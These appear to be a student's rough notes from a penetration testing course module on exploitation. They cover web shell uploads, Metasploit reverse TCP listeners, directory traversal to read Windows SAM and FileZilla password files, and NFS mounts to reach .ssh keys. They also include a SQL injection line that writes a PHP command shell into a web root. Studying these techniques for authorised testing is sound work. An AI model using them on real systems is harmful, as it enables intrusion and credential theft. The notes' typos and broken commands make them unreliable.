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Nathanf | Advanced Penetration Testing | Module 7 - Exploitation

By: Nathanf | Related Course: Advanced Penetration Testing | Published: November 14, 2016 | Modified: November 14, 2016
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Notepadexploit 1

cadaver, webDav

kali has pre built web shells in different languages


Step 1 – upload a file to server that executes code for you or allows you to execute code (webshell)

-upload a file that takes command injection via url query parameters


This can also be userd done via metasploit

-for reverse tcp  set exitOnSessionto false for options so it doesnt stop listening on first response


Notepadexploit 3

Directory traversal, Dump sam files to discover usernames and passwords

Directory traversal – can also be done from url

index?../../../../../bin.etc if it says save file weve found it otherwise we havent found it


Windows/repair/sam   – save file but you need syskey to access it  from



filezilla ftp

../../../../../xamp/FileZillaFtp/FileZilla server.xml congig filezilla file stores passwords

NotepadExploit 4


search metasploit for exploits

Notepadexploit 6

whoami   =  display which user you are

Notepadexploit 6

display network file system: in cli ->   showmount -e ’ip’



to export network filesystem

mount -t -o noclock nfs ’ip’ :/exportDir /exportlocation



hidden files ls -a

.ssh file store keys



Notepadexploitation 2

open web interface – phpmyadmin can use sql injection commands


creating a system command shell which accepts a parameter via url,  to sit on the server via sql 

run system command    ->

select ”<?php system($_GET[’cmd’]); ?” into outfile ”C:\\xamp\\htdocs\\shell.php”


\\ = escape, so you dont end up with a long file name on the system


at ftpd — daemon –bind-address ’ip’ /tmp

netstat antp

daemon = it will listen 


other shell -> powershell

tfpt = Tivial file transfer protocol

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